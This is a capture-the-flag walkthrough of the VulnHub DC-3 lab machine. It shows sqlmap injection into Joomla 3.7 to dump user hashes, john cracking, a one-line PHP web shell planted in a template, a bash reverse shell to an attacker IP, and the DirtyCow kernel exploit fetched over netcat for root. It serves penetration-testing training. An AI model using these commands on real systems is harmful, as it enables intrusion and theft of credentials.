Vulnhub: DC — 3 Walkthrough

Machine details

• Title: DC-3
• Author: DCAU
• Difficulty: Easy
• Flags: 2 (user and root)
• Techniques: SQLi, CMS, Kernel Exploit
• Operating System: Linux

Recon and Enumeration

As always, let’s do a nmap scan to find ports and services running

IP=<MACHINE IP>
nmap -p- --min-rate 1000 -Pn $IP

The nmap scan reveals a http port running a service called Joomla, a content management system (CMS). Let’s visit the webpage

Joomla index webpage

The webpage has a user that wrote the post: admin. We have to take notes, also the webpage does not have robots.txt, but it has README.txt

There is a huge possibility we are dealing with a version 3.7 of Joomla. Searching for a public exploit, we will find this one

We can adapt this line to our vulnerable machine and hope this works!

sqlmap -u "http://192.168.56.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch

As you can see, the exploit worked, and we can retrieve info from the database, let’s choose joomladb.

sqlmap -u "http://192.168.56.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering] --batch -D joomladb --tables

The first time using the — batch option got me an error, but using the manual one got these findings.

Note: when a question like this appear: “do you want to use common column existence check?“ use y as the option, the other questions you can just press enter

sqlmap -u "http://192.168.56.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering]  -D 'joomladb' -T '#__users' --dump

Finally, we can retrieve the username and password

sqlmap -u "http://192.168.56.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering]  -D 'joomladb' -T '#__users' -C username,password --dump

Searching in Google it will give us this is a bcrypt hash, we are gonna crack this password with john. save the hash as hash.txt

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Great! Now we can log-in as admin in Joomla

Searching more about Joomla, the webpage has a administrator page. We will visit there

http://192.168.56.145/administrator/

Hacktricks has a good tutorial how to get RCE in this page

[embed]Joomla - HackTricks Joomla collects some anonymous usage statistics such as the breakdown of Joomla, PHP and database versions and server…hacktricks.wiki

After we click on Templates and choose Protostar, we will this screen

We just need to click on error.php and edit it, you can use my code to replace

<?php echo system($_GET['cmd']); ?>

After we save it, we are going to test if it did well

And we did it! Now we need to make a reverse shell so we can execute commands without a problem :D

We will setup our netcat listener

nc -lvnp 4444

And this is the code we will send to curl, we will do url encoding

bash -c "bash -i >& /dev/tcp/YOUR-IP-ADDRESS-HERE/4444 0>&1 2>&1"

With url encoding, it will be like this

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.101%2F4444%200%3E%261%202%3E%261%22

You can see we received the connection

Checking the ports, only mysql and http are open

Checking for active users in /etc/passwd, just dc3 is in the machine

Configuration.php has some credentials

Machine Info, it is a Ubuntu 16 with kernel 4.4.0 32 bits!

Searching for Google (again!), this kernel is vulnerable to a exploit named DirtyCow! CVE-2016–5195

We will use this exploit

[embed]OffSec's Exploit Database Archive Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)…www.exploit-db.com

We can send to the machine this code using netcat

In your machine, you do this code

nc -lvnp 7777 < 40847

In the victim machine, we will use this nc code

nc <YOUR MACHINE IP> 7777 > 40847.cpp

And then we execute the commands as the author comment does

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

./dcow

After that, we will upgrade our shell using python

python3 -c "import pty; pty.spawn('/bin/bash')"

Finally, we get the root flag :D

If we were doing evidence report, we may need to print like this

That’s all guys, I hope you did like this walkthrough!